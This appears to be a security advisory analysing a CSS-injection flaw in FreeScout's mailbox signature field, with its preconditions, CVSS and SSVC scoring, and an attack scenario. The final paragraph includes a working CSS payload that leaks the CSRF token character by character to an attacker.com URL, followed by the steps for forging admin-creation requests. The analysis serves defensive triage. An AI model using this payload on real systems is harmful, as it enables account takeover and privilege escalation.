Freescout CVE-2026-40497

Attack requires authenticated access with mailbox settings modification permissions (typically admin or privileged agent role in FreeScout's permission model). Victim user with higher privileges (admin) must actively view a conversation in the compromised mailbox, triggering signature rendering. The application's default CSP configuration must permit 'unsafe-inline' styles (confirmed in advisory as style-src * 'self' 'unsafe-inline'). Attacker needs external infrastructure to receive CSS exfiltration requests and sufficient time for victim interaction (token exfiltration requires multiple page views for complete extraction). Exploitation is limited by FreeScout's role-based access control - default agent accounts without mailbox admin rights cannot exploit this. Organizations that removed 'unsafe-inline' from CSP or implemented strict mailbox permission segregation are not vulnerable despite running affected versions.

Real-world risk is MODERATE despite CVSS 8.1 High rating. CVSS vector (AV:N/AC:L/PR:H/UI:R/S:C) indicates network-accessible attack with low complexity but requires high privileges (mailbox admin/agent access) and user interaction (victim must view conversation). Changed scope (S:C) reflects privilege escalation impact. The attack chain requires: (1) compromised or malicious insider with mailbox settings access, (2) victim admin/agent viewing affected conversation, (3) multi-step CSRF token exfiltration via CSS injection, (4) subsequent CSRF attack using stolen token. Attack complexity is LOW for the injection itself but MEDIUM-to-HIGH for complete exploitation chain including token exfiltration and weaponization. No public exploit code identified at time of analysis, and no CISA KEV listing indicates targeted rather than widespread exploitation. Primary risk scenarios: malicious insiders, compromised low-privilege agent accounts in multi-tenant environments, or supply-chain attacks against FreeScout installations. Organizations with strict least-privilege access controls and CSP monitoring have reduced exposure. SSVC assessment: exploitation state is proof-of-concept (detailed in advisory), not automatable (requires authenticated access and social engineering), technical impact is total (privilege escalation to admin). Prioritize patching for internet-facing installations with multiple agent tiers.

A malicious agent with mailbox configuration permissions injects crafted CSS into the mailbox signature field: <style>input[name='_token'][value^='a']{background:url(https://attacker.com/exfil?c=a)}</style>. When a senior admin views any conversation in that mailbox, their browser renders the signature and the CSS attribute selector matches the CSRF token's first character, triggering an HTTP request to the attacker's server. The attacker repeats with selectors for each character position until the complete token is exfiltrated. With the stolen CSRF token, the attacker crafts POST requests to create a new admin account or modify the existing admin's credentials, escalating from limited agent privileges to full administrative control.